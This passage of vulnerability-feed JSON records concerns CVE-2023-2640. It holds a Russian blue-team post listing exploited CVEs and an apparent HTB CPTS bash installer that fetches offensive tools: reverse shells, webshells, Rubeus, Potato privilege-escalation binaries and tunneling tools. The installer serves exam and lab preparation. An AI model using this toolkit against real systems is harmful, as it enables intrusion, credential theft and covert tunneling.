\u041c\u043e\u043d\u0438\u0442\u043e\u0440\u044c\u0442\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 shell-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.", "creation_timestamp": "2026-08-05T00:00:28.413467Z"}, {"uuid": "7a438568-a668-4fe0-b715-15040146bf2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-05T00:00:34.959339Z"}, {"uuid": "01e7141e-7ee2-448e-912b-919008bfaed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-06T00:00:59.748245Z"}, {"uuid": "9b583079-1f52-4ac4-aba3-b61d11e3abaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/s-lekd_CMiFUG7sttPbwaSIszWWV6asQx86IxAh3lgAbVW0", "content": "", "creation_timestamp": "2026-06-10T19:00:12.000000Z"}, {"uuid": "cf4294b3-95e8-4aa0-b4b1-cbdc049fdec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/J0ROb3WeJ6WKiYfRh6IAWg81KdEB4nYWqw_XCSrqEYFegis", "content": "", "creation_timestamp": "2026-06-11T03:00:06.000000Z"}, {"uuid": "6e333ce5-483d-46f7-8962-57af0d63577f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://gist.github.com/stillbigjosh/5a58fa426ea1b76221a6ce2ac9a909f6", "content": "#!/usr/bin/env bash\n# ==============================================================================\n# HTB CPTS Tool Installer \u2014 Parrot OS (HTB Edition)\n# Mirrors ~/tools directory structure from Kali box\n# Usage: bash install-tools.sh [target-dir]   (default: ~/tools)\n# ==============================================================================\n\nset -euo pipefail\n\nTOOLS_DIR=\"${1:-$HOME/tools}\"\nLOG_FILE=\"$TOOLS_DIR/install.log\"\n\nRED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; BLUE='\\033[0;34m'; NC='\\033[0m'\n\nlog()     { echo -e \"${GREEN}[+]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nwarn()    { echo -e \"${YELLOW}[!]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nerr()     { echo -e \"${RED}[-]${NC} $*\" | tee -a \"$LOG_FILE\"; }\nsection() { echo -e \"\\n${BLUE}[*] ===== $* =====${NC}\" | tee -a \"$LOG_FILE\"; }\n\n# ------------------------------------------------------------------------------\n# Helpers\n# ------------------------------------------------------------------------------\n\nclone() {\n    local name=\"$1\" url=\"$2\" dest=\"$3\"\n    if [ -d \"$dest/.git\" ]; then\n        warn \"$name already cloned \u2014 pulling latest\"\n        git -C \"$dest\" pull --quiet 2>/dev/null || true\n    else\n        log \"Cloning $name...\"\n        if git clone --quiet --depth=1 \"$url\" \"$dest\" 2>/dev/null; then\n            log \"$name cloned OK\"\n        else\n            err \"Failed to clone $name ($url)\"\n        fi\n    fi\n}\n\ndownload() {\n    local name=\"$1\" url=\"$2\" dest=\"$3\" exe=\"${4:-true}\"\n    if [ -f \"$dest\" ]; then\n        warn \"$name already exists \u2014 skipping\"\n        return\n    fi\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" -o \"$dest\"; then\n        [ \"$exe\" = \"true\" ] && chmod +x \"$dest\"\n        log \"$name downloaded OK\"\n    else\n        err \"Failed to download $name\"\n    fi\n}\n\ndownload_zip() {\n    local name=\"$1\" url=\"$2\" dest_dir=\"$3\"\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" -o /tmp/_dl.zip && unzip -q /tmp/_dl.zip -d \"$dest_dir\" && rm -f /tmp/_dl.zip; then\n        log \"$name extracted OK\"\n    else\n        err \"Failed to download/extract $name\"\n        rm -f /tmp/_dl.zip\n    fi\n}\n\ndownload_tar() {\n    local name=\"$1\" url=\"$2\" dest_dir=\"$3\"\n    log \"Downloading $name...\"\n    if curl -fsSL \"$url\" | tar -xz -C \"$dest_dir\" 2>/dev/null; then\n        log \"$name extracted OK\"\n    else\n        err \"Failed to download/extract $name\"\n    fi\n}\n\npip_install() {\n    local tool=\"$1\" path=\"$2\"\n    if [ -f \"$path/requirements.txt\" ]; then\n        log \"pip: installing requirements for $tool...\"\n        pip3 install -r \"$path/requirements.txt\" -q 2>/dev/null || warn \"Some pip requirements failed for $tool\"\n    fi\n    if [ -f \"$path/setup.py\" ]; then\n        log \"pip: setup.py install for $tool...\"\n        pip3 install -e \"$path\" -q 2>/dev/null || warn \"setup.py install failed for $tool\"\n    fi\n}\n\nbuild_make() {\n    local name=\"$1\" path=\"$2\"\n    if [ -f \"$path/Makefile\" ]; then\n        log \"make: building $name...\"\n        (cd \"$path\" && make -s 2>/dev/null) && log \"$name built OK\" || warn \"$name make failed\"\n    fi\n}\n\nbuild_go() {\n    local name=\"$1\" path=\"$2\" out=\"${3:-$name}\"\n    if [ -f \"$path/go.mod\" ]; then\n        log \"go: building $name...\"\n        (cd \"$path\" && go build -ldflags=\"-s -w\" -o \"$out\" . 2>/dev/null) && log \"$name built OK\" || warn \"$name go build failed\"\n    fi\n}\n\n# ==============================================================================\n# PREFLIGHT\n# ==============================================================================\n\npreflight() {\n    section \"Preflight\"\n\n    local missing=()\n    for cmd in git curl wget python3 pip3 go ruby gem make gcc unzip; do\n        command -v \"$cmd\" &>/dev/null || missing+=(\"$cmd\")\n    done\n\n    if [ ${#missing[@]} -gt 0 ]; then\n        warn \"Missing: ${missing[*]} \u2014 installing...\"\n        sudo apt-get update -qq 2>/dev/null\n        sudo apt-get install -y git curl wget python3 python3-pip golang-go ruby ruby-dev \\\n            make gcc g++ libssl-dev libffi-dev python3-dev unzip libpcap-dev 2>/dev/null || true\n    fi\n\n    log \"Creating directory structure...\"\n    mkdir -p \"$TOOLS_DIR\"/{Activedir,Payloads,Pivot}\n    mkdir -p \"$TOOLS_DIR\"/Recon/{Linux,Network,Web,Windows}\n    mkdir -p \"$TOOLS_DIR\"/Privesc/{Windows,Linux,App}\n    > \"$LOG_FILE\"\n}\n\n# ==============================================================================\n# ACTIVE DIRECTORY\n# ==============================================================================\n\ninstall_activedir() {\n    section \"Active Directory Tools\"\n    local D=\"$TOOLS_DIR/Activedir\"\n\n    clone \"adidnsdump\"              \"https://github.com/dirkjanm/adidnsdump.git\"                                    \"$D/adidnsdump\"\n    pip_install \"adidnsdump\"        \"$D/adidnsdump\"\n\n    clone \"Certipy\"                 \"https://github.com/dru1d-foofus/Certipy\"                                       \"$D/Certipy\"\n    pip_install \"Certipy\"           \"$D/Certipy\"\n\n    clone \"CVE-2021-1675\"           \"https://github.com/cube0x0/CVE-2021-1675.git\"                                  \"$D/CVE-2021-1675\"\n\n    clone \"gMSADumper\"              \"https://github.com/micahvandeusen/gMSADumper.git\"                              \"$D/gMSADumper\"\n    pip_install \"gMSADumper\"        \"$D/gMSADumper\"\n\n    clone \"kerbrute\"                \"https://github.com/ropnop/kerbrute.git\"                                        \"$D/kerbrute\"\n    build_go \"kerbrute\"             \"$D/kerbrute\" \"kerbrute\"\n\n    clone \"krbrelayx\"               \"https://github.com/dirkjanm/krbrelayx.git\"                                     \"$D/krbrelayx\"\n    pip_install \"krbrelayx\"         \"$D/krbrelayx\"\n\n    clone \"NetNTLMtoSilverTicket\"   \"https://github.com/NotMedic/NetNTLMtoSilverTicket.git\"                         \"$D/NetNTLMtoSilverTicket\"\n\n    clone \"noPac\"                   \"https://github.com/Ridter/noPac.git\"                                           \"$D/noPac\"\n    pip_install \"noPac\"             \"$D/noPac\"\n\n    clone \"PassTheCert\"             \"https://github.com/AlmondOffSec/PassTheCert.git\"                               \"$D/PassTheCert\"\n\n    clone \"PetitPotam\"              \"https://github.com/topotam/PetitPotam.git\"                                     \"$D/PetitPotam\"\n\n    clone \"PKINITtools\"             \"https://github.com/dirkjanm/PKINITtools.git\"                                   \"$D/PKINITtools\"\n    pip_install \"PKINITtools\"       \"$D/PKINITtools\"\n\n    clone \"pywhisker\"               \"https://github.com/ShutdownRepo/pywhisker.git\"                                 \"$D/pywhisker\"\n    pip_install \"pywhisker\"         \"$D/pywhisker\"\n\n    clone \"Security-Assessment-PS\"  \"https://github.com/itzvenom/Security-Assessment-PS.git\"                        \"$D/Security-Assessment-PS\"\n\n    clone \"targetedKerberoast\"      \"https://github.com/ShutdownRepo/targetedKerberoast.git\"                        \"$D/targetedKerberoast\"\n    pip_install \"targetedKerberoast\" \"$D/targetedKerberoast\"\n\n    clone \"windapsearch\"            \"https://github.com/ropnop/windapsearch.git\"                                    \"$D/windapsearch\"\n    pip_install \"windapsearch\"      \"$D/windapsearch\"\n\n    # BloodHound CLI (precompiled)\n    if [ ! -f \"$D/bloodhound/bloodhound-cli\" ]; then\n        mkdir -p \"$D/bloodhound\"\n        local BH_URL\n        BH_URL=$(curl -fsSL \"https://api.github.com/repos/SpecterOps/BloodHound/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*bloodhound-cli-linux-amd64\\.tar\\.gz\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$BH_URL\" ]; then\n            download_tar \"BloodHound CLI\" \"$BH_URL\" \"$D/bloodhound\"\n            chmod +x \"$D/bloodhound/bloodhound-cli\" 2>/dev/null || true\n        else\n            warn \"BloodHound CLI: could not resolve download URL \u2014 check github.com/SpecterOps/BloodHound/releases\"\n        fi\n    else\n        warn \"BloodHound CLI already present\"\n    fi\n\n    # Rubeus (precompiled \u2014 Ghostpack)\n    if [ ! -f \"$D/Rubeus/Rubeus.exe\" ]; then\n        mkdir -p \"$D/Rubeus\"\n        download \"Rubeus.exe\" \\\n            \"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe\" \\\n            \"$D/Rubeus/Rubeus.exe\" \"false\"\n    else\n        warn \"Rubeus.exe already present\"\n    fi\n}\n\n# ==============================================================================\n# PAYLOADS\n# ==============================================================================\n\ninstall_payloads() {\n    section \"Payload Tools\"\n    local D=\"$TOOLS_DIR/Payloads\"\n\n    clone \"CVE-2023-36664 Ghostscript\" \"https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection.git\" \"$D/Ghostscript\"\n    clone \"nishang\"                    \"https://github.com/samratashok/nishang.git\"                                     \"$D/nishang\"\n    clone \"ntlm_theft\"                 \"https://github.com/Greenwolf/ntlm_theft.git\"                                    \"$D/ntlm_theft\"\n    clone \"php-reverse-shell\"          \"https://github.com/pentestmonkey/php-reverse-shell.git\"                         \"$D/php-reverse-shell\"\n    clone \"reverse_shell_splunk\"       \"https://github.com/0xjpuff/reverse_shell_splunk.git\"                            \"$D/reverse_shell_splunk\"\n    clone \"wwwolf-php-webshell\"        \"https://github.com/WhiteWinterWolf/wwwolf-php-webshell.git\"                     \"$D/wwwolf-php-webshell\"\n\n    # RunasCs (precompiled)\n    if [ ! -f \"$D/RunasCs/RunasCs.exe\" ]; then\n        mkdir -p \"$D/RunasCs\"\n        download_zip \"RunasCs\" \\\n            \"https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip\" \\\n            \"$D/RunasCs\"\n    else\n        warn \"RunasCs (Payloads) already present\"\n    fi\n\n    # ysoserial.net (precompiled)\n    if [ ! -f \"$D/ysoserial/ysoserial.exe\" ]; then\n        mkdir -p \"$D/ysoserial\"\n        local YSOS_URL\n        YSOS_URL=$(curl -fsSL \"https://api.github.com/repos/pwntester/ysoserial.net/releases/latest\" \\\n            | grep -o '\"browser_download_url\": *\"[^\"]*\\.zip\"' \\\n            | grep -o 'https://[^\"]*' | head -1)\n        if [ -n \"$YSOS_URL\" ]; then\n            download_zip \"ysoserial.net\" \"$YSOS_URL\" \"$D/ysoserial\"\n        else\n            warn \"ysoserial.net: could not resolve download URL \u2014 check github.com/pwntester/ysoserial.net/releases\"\n        fi\n    else\n        warn \"ysoserial already present\"\n    fi\n}\n\n# ==============================================================================\n# PIVOT / TUNNELING\n# ==============================================================================\n\ninstall_pivot() {\n    section \"Pivot / Tunneling Tools\"\n    local D=\"$TOOLS_DIR/Pivot\"\n\n    # chisel \u2014 build from source\n    clone \"chisel\" \"https://github.com/jpillora/chisel.git\" \"$D/chisel\"\n    build_go \"chisel\" \"$D/chisel\" \"chisel\"\n\n    # dnscat2 \u2014 Ruby server + C client\n    clone \"dnscat2\" \"https://github.com/iagox86/dnscat2.git\" \"$D/dnscat2\"\n    if [ -f \"$D/dnscat2/server/Gemfile\" ]; then\n        log \"Installing dnscat2 gems...\"\n        (cd \"$D/dnscat2/server\" && gem install bundler -q 2>/dev/null && bundle install -q 2>/dev/null) \\\n            || warn \"dnscat2 gem install failed\"\n    fi\n    if [ -f \"$D/dnscat2/client/Makefile\" ]; then\n        log \"Building dnscat2 C client...\"\n        (cd \"$D/dnscat2/client\" && make -s 2>/dev/null) && log \"dnscat2 client built OK\" || warn \"dnscat2 client build failed\"\n    fi\n\n    clone \"dnscat2-powershell\" \"https://github.com/lukebaggett/dnscat2-powershell.git\" \"$D/dnscat2-powershell\"\n\n    # ptunnel-ng \u2014 build from source\n    clone \"ptunnel-ng\" \"https://github.com/utoni/ptunnel-ng.git\" \"$D/ptunnel-ng\"\n    if [ -f \"$D/ptunnel-ng/autogen.sh\" ]; then\n        log \"Building ptunnel-ng...\"\n        (cd \"$D/ptunnel-ng\" && ./autogen.sh 2>/dev/null && make -s 2>/dev/null) \\\n            && log \"ptunnel-ng built OK\" || warn \"ptunnel-ng build failed\"\n    else\n        build_make \"ptunnel-ng\" \"$D/ptunnel-ng\"\n    fi\n\n    clone \"rpivot\" \"https://github.com/klsecservices/rpivot.git\" \"$D/rpivot\"\n\n    # ligolo-ng (precompiled \u2014 no public git repo with source in original)\n    local LIGOLO_DIR=\"$D/ligolo-ng\"\n    if [ ! -f \"$LIGOLO_DIR/proxy\" ]; then\n        mkdir -p \"$LIGOLO_DIR\"\n        local LIGOLO_VER\n        LIGOLO_VER=$(curl -fsSL \"https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest\" \\\n            | grep '\"tag_name\"' | grep -o 'v[0-9.]*' | head -1)\n        LIGOLO_VER=\"${LIGOLO_VER:-v0.8.2}\"\n        log \"Downloading ligolo-ng $LIGOLO_VER...\"\n        download_tar \"ligolo-ng proxy (linux)\"  \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_proxy_${LIGOLO_VER#v}_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\" || \\\n        download_tar \"ligolo-ng proxy (linux, alt URL)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_proxy_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\"\n        chmod +x \"$LIGOLO_DIR/proxy\" 2>/dev/null || true\n\n        download_tar \"ligolo-ng agent (linux)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_agent_${LIGOLO_VER#v}_linux_amd64.tar.gz\" \\\n            \"$LIGOLO_DIR\" || true\n        chmod +x \"$LIGOLO_DIR/agent\" 2>/dev/null || true\n\n        download_zip \"ligolo-ng agent (windows)\" \\\n            \"https://github.com/nicocha30/ligolo-ng/releases/download/$LIGOLO_VER/ligolo-ng_agent_${LIGOLO_VER#v}_windows_amd64.zip\" \\\n            \"$LIGOLO_DIR\" || true\n    else\n        warn \"ligolo-ng already present\"\n    fi\n}\n\n# ==============================================================================\n# PRIVILEGE ESCALATION\n# ==============================================================================\n\ninstall_privesc() {\n    section \"Privilege Escalation Tools\"\n    local GHOSTPACK=\"https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master\"\n\n    # ---- Windows ----\n    local DW=\"$TOOLS_DIR/Privesc/Windows\"\n\n    clone \"Windows-PrivEsc-Cookbook\"  \"https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook.git\" \"$DW/Cookbook\"\n    clone \"EnableAllTokenPrivs\"       \"https://github.com/fashionproof/EnableAllTokenPrivs.git\"                       \"$DW/EnableAllTokenPrivs\"\n    clone \"EoPLoadDriver\"             \"https://github.com/TarlogicSecurity/EoPLoadDriver.git\"                         \"$DW/EoPLoadDriver\"\n    clone \"psgetsystem\"               \"https://github.com/decoder-it/psgetsystem.git\"                                 \"$DW/psgetsystem\"\n    clone \"RoguePlanet\"               \"https://github.com/MSNightmare/RoguePlanet.git\"                                \"$DW/RoguePlanet\"\n    clone \"SeTcbPrivilege_escalation\" \"https://github.com/mSameerMalik/SeTcbPrivilege_escalation.git\"                \"$DW/SeTcbPrivilege_escalation\"\n\n    # GodPotato\n    if [ ! -f \"$DW/GodPotato/GodPotato-NET4.exe\" ]; then\n        mkdir -p \"$DW/GodPotato\"\n        download \"GodPotato-NET4.exe\" \\\n            \"https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe\" \\\n            \"$DW/GodPotato/GodPotato-NET4.exe\" \"false\"\n    else\n        warn \"GodPotato already present\"\n    fi\n\n    # JuicyPotato\n    if [ ! -f \"$DW/JuicyPotato/JuicyPotato.exe\" ]; then\n        mkdir -p \"$DW/JuicyPotato\"\n        download \"JuicyPotato.exe\" \\\n            \"https://github.com/ohpe/juicy-potato/releases/latest/download/JuicyPotato.exe\" \\\n            \"$DW/JuicyPotato/JuicyPotato.exe\" 